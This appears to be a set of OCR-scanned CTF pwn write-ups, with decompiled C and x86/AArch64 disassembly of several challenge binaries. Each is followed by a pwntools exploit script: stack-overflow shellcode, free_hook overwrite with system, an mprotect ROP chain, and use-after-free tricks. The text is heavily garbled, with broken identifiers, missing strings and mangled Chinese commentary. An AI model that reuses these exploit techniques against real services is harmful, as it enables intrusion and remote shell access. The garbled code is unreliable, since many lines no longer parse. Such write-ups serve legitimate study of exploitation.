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id = ve[e];
getchar();
func[@] = (__int64)echol;
gword_602088 = (__int64)echo2;
gword_68209@ = (__int64)echo3;
for ( = 9; = 121; = getchar() )
{
while ( 1)
{
while ( 1)
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf ("> ");
__is0c¢99_scanf("%d", &i);
getchar();
if ( >3 )
break:;
((void (*)(void))func[i - 1])();
}
if ( = 4 )
break:;
puts("invalid menu");
¥
cleanup();
printf("Are you sure you want to exit? (y/n)");
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|_int64 echol()

{
char s[32]; //

(*((void (__fastcall **)(void *))o + 3))(0);
get_input(s, 128LL);

puts(s);

(*((void (__fastcall **)(void *))o + 4))(0);
return OLL;
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exp
from pwn import
context(os ,log level
id_addr=0x6020A0

remote(

(0x20+8) p64(id_addr) +asm(shellcraft.sh())
)

.sendline(asm(
.recvuntil(
.sendline( )

.recvline()

.sendline(payload)

.interactive()
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add

else

= malloc(@x18uLL);
printf("please input note name size: ");
__1s0c99_scanf("%1d", & )

getchar();
if ( (__inte4) <= 32 )
{

= malloc( )3

* = 3
printf(“please input note name: ");
sub_400946(*v5, (unsigned int) );
printf(“please input note content: ");

sub_40e946(s, 32LL);

= strdup(s);
[2] = vi;
for (1 =0; 1<=4; ++1)
{
if ( !qword_6©20EB[i] )
{
*((_DWORD *) +2) = 1;
qword_6020Ee[i] = (__inte4)v5;
break;
)
)

++dword_6026CC;
puts("add note success.");

HiE 7 —/N0x18[chunkifl & 5 ., name<>Hi
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free

v3 = __readfsqword(@x28u);
printf("input note id: ");
__iso0c99_scanf("%d", &v1l);
getchar();
if (vl >= @ && vl <= 4 && qword_6e20Ee[v1] )
{
ptr = (void *)gword_6@20Ee[vli];
free(*((void **)ptr + 2));
free(ptr);
qword_6e28Ee[v1] = eLL;
--dword_6820CC;
puts("delete success.");

h

else

{
¥

return __readfsqword(@x28u) ~ v3;

puts("wrong id.");
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edit

unsigned __int64 edit()

{
int v1; // [rsp+Ch] [rbp-14h] BYREF
__inte4 v2; // [rsp+16h] [rbp-16h]
unsigned __inté4 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(@x28u);
printf(“"input note id: ");
__1s0c99_scanf("%d", &vl);
getchar();
if ( vl >= @ && vl <= 4 && qword_6e20Ee[vl] )
{
vZ2 = qword_6020Ee[vl1];
printf(“please input new note content: ");
sub_4eepa6(*(void **)(v2 + 16), 32);
¥
else
{
puts("wrong id.");

h

return __readfsqword(®x28u) ~ v3;
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list

unsigned __int64 list()

{
int v1; // [rsp+Ch] [rbp-14h] BYREF
__inte4 v2; // [rsp+1@h] [rbp-16h]
unsigned __inte4 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(@x28u);
printf("input note id: ");
__is0c99_scanf("%d", &v1);
getchar();
if (vl >= @ && vl <= 4 && qword_6@28Ee[vi] )
{
vZ2 = qword_6020Ee[vli];
printf(“id: %d\n", *(unsigned int *)(v2 + 8));
printf(“"name: %s\n", *(const char **)v2);
printf(“content: %s\n", *(const char **)(v2 + 16));
¥
else
{
puts("wrong id.");

h

return __readfsqword(@x28u) ~ v3;
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from pwn import

context.log level

remote( , 27461)

def add(size,name,content):
.sendlineafter( 5 )
.sendlineafter( 5 (size))

.sendafter( ,hame)

"
"
"
"

.sendafter( ,content)

def edit(index,content):
r.sendlineafter( 5
r.sendlineafter( 5 (index))
r.sendafter( ,content)

def delete(index):
r.sendlineafter(
r.sendlineafter( (index))

def show(index):
r.sendlineafter(
r.sendlineafter( (index))

add (0x19,

add (0x19,

show(9)

r.recvuntil( 0x18)

libc_base = u64(r.recv(6).ljust(8, )) ox8e3f2
system_addr libc_base libc.sym[

free_hook_addr libc_base libc.sym[

print 5 (libc_base)

add (0x19, 5 )

edit(2, Ox10 + p64(0)

add (-0x80,p64(free_hook_addr), ")
edit(2,p64(system_addr))
delete(1)

r.interactive()
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.text:0000000000400818 var_s@ = @

.text:0000000000400818

.text:0000000000400818 STP X29, X30, [SP,#-0xl1e+var_s@]!
.text:0000000000840081C MoV X29, SP
.text:0000000000400820 BL sub_40e760
.text:0000000000400824 ADRL X0, aName ; "Name:"
.text:000000000040082C MoV X2, #5 ; n
.text:0000000008400830 Mov X1, Xe ; buf
.text:0000000000400834 MoV we, #1 ; fd
.text:0000000008400838 BL .write
.text:000000000040083C ADRL X0, unk_411068
.text:0000000008400844 MoV X2, #06x200 ; nbytes
.text:0000000000400848 MoV X1, Xe ; buf
.text:000000000840084C MoV we, #0 ; fd
.text:6000000008400850 BL .read
.text:0000000008400854 BL sub_408087F8
.text:6000000008400858 MoV we, #0
.text:000000000840085C LDP X29, X30, [SP+var_se],#0x1e
.text:0000000000400860 RET

.text:0000000000400860 ; End of function sub_400818

.text:00000000008400860

maingg A7 ix H .

H 561 A 17 0x400760
.text:0000000000400760 STP X29, xbe, [SP,#-©x10+var_se]!
.text:0000000000400764 Mov X29, SP
.text:0000000000400768 ADRL Xe, stdin
.text:0000000000400770 LDR X@, [Xe] ; stream
.text:0000000000400774 Mov X3, # ; n
.text:0000000000400778 Mov W2, #2 ; modes
.text:0000000000400677C Mov X1, #0 ; buf
.text:0000000000400780 BL .setvbuf
.text:0000000000400784 ADRL X@, stdout
.text:000000000040678C LDR X@, [Xe] ; stream
.text:0000000000400790 Mov X3, # ; n
.text:0000000000400794 Mov W2, #2 ; modes
.text:0000000000400798 Mov X1, #0 ; buf
.text:000000000040679C BL .setvbuf
.text:00000000004007A0 ADRL X@, stderr
.text:00000000004007A8 LDR X@, [Xe] ; stream
.text:00000000004067AC Mov X3, # ; n
.text:00000000004007B0 Mov W2, #2 ; modes
.text:00000000004007B4 Mov X1, #0 ; buf
.text:00000000004007B8 BL .setvbuf
.text:00000000004067BC NOP
.text:o00000000004007C0 LDP X29, X3, [SP+var_se],#ox1e
.text:00000000004007C4 RET

Hh /& set buf.

AL T Mname, ARJERERL. $£0x200, FILLEEFIbss L.



HHEAN RIS REL

STP X29, X3@, [SP,#var 50]!
MOV X29, SP

ADD X8, X29, #ex1e

MOV X2, #0x200 ; nbytes
MOV X1, Xe : buf

MOV we, #0 : fd

BL .read

NP LLE0x200, X RELAERR LI, AR MR H
WA libehE i, {H2 K IA mprotect.

B LAk A% x86—F¢, i [MimprotectttAL BE 4R i $14T shellcode .
exp

from pwn import

elf = ELF(
context(arch ,log level
r remote( ,29842)

shellcode addr = 0x411068
mprotect 0x4007e0

gadgetl 0x4008cc
gadget2 0x04008ac

shellcode p64(mprotect)+p64(0)+asm(shellcraft.sh())
r.recvuntil( )

r.sendline(shellcode)

Ox48+p64(gadgetl)+p64(0)+p64(gadget2)
p64(0)*2+p64(shellcode_addr)+p64(0x7)+p64(0x1000)+p64(0x411000)
p64(0)+p64(shellcode addr+0x10)

r.sendline(payload)

r.interactive()
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= dword_20202C;

*((_QWORD *)&unk_202040 + v3) = malloc(8uLL);

++dword_20262C;
puts("Captured.");

} -
continue;

case 2:
puts("Index:");
_is0c99_scanf("%d", &v5);
free(*((void **)&unk_262040 + v5));
puts("Eaten.");
continue;

case 3:
puts("Index:");
_is0c99_scanf("%d", &v5);
puts("Ingredient:");
_is0c99_scanf("%1lu", );
*%((_QWORD **)&unk_202040 + v5) =
puts(“Cooked.");
continue;

case 4:
printf("Your lair is at: %p\n", &v7);
continue;

case 5:
puts('which kingdom?");
_is0c99_scanf("%1lu", &v9);
puts(“Moved.");
continue;

freeft 5 A uaf, 1] L double.
TERR F & — chunk, SR)5 ESUERLET T .
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from pwn import

remote( ,26172)

def add():

r.sendlineafter(

def delete(index):
r.sendlineafter( )
r.sendlineafter( ,index)

def edit(index,content):
r.sendlineafter( 5 )
r.sendlineafter( ,index)
r.sendlineafter( ,content)

def edit_lair(value):

r.sendlineafter( 5 )
r.sendlineafter( ,value)

(0x20))

(show()-0x8))

(3735928559))

r.interactive()
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; Segment type: Pure code

; Segment permissions: Read/Execute

| text segment byte public 'CODE' useéd
assume cs:_text

;org 400eB6h

; Attributes: bp-based frame

public start
start proc near

push rbp

mov rbp, rsp

call sub_40eeE1l

lea rdi, unk_60013F

mov rsi, qword_600187

lea rdx, buf

xor ecx, ecx

mov cl, ©

call sub_400eF9

mov edi, eax ; error_code
push 3Ch ; "<’

pop rax

syscall ; LINUX - sys_exit

—

0x4000e 13X /™ R L .

assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
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; Attributes: bp-based frame

sub_488eEl proc near

push rbp

mov rbp, rsp

xor eax, eax

xor edi, edi ; fd

lea rsi, buf 5 buf

xor edx, edx

mov dl, © ; count

syscall ; LINUX - sys_read
leave

retn

sub_40eeEl endp

AefEbssi LT,

X H 17 0x4000f9.

__inte4 _ fastcall sub_4@@0FS(_BYTE *al, _ int64 a2, unsigned __int64 a3, unsigned __int64 a4)
{

unsigned __int64 v6; // rsi

unsigned __ inteé4 v7; // rg8

__inte4 v8; // rex

ve = a3;

v7 = 8LL;

v8 = eLL;

while ( v8 != a2 )
{

al[v8] ~= *(_BYTE *)(v6 + v7);

v8 = (unsigned int)(v8 + 1);
a3 = (v7 + 1) % a4;
v7 = a3;
1
return ((__inte4 (__ fastcall *)(_BYTE *, unsigned __int64, unsigned __ int64, _ inté4, unsigned __int64, unsigned __inté4))al)(
al,
vé,
as,
V8,
v7,
ad);
b
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from pwn import
context.log level

context.arch

remote( ,25368)

r.interactive()
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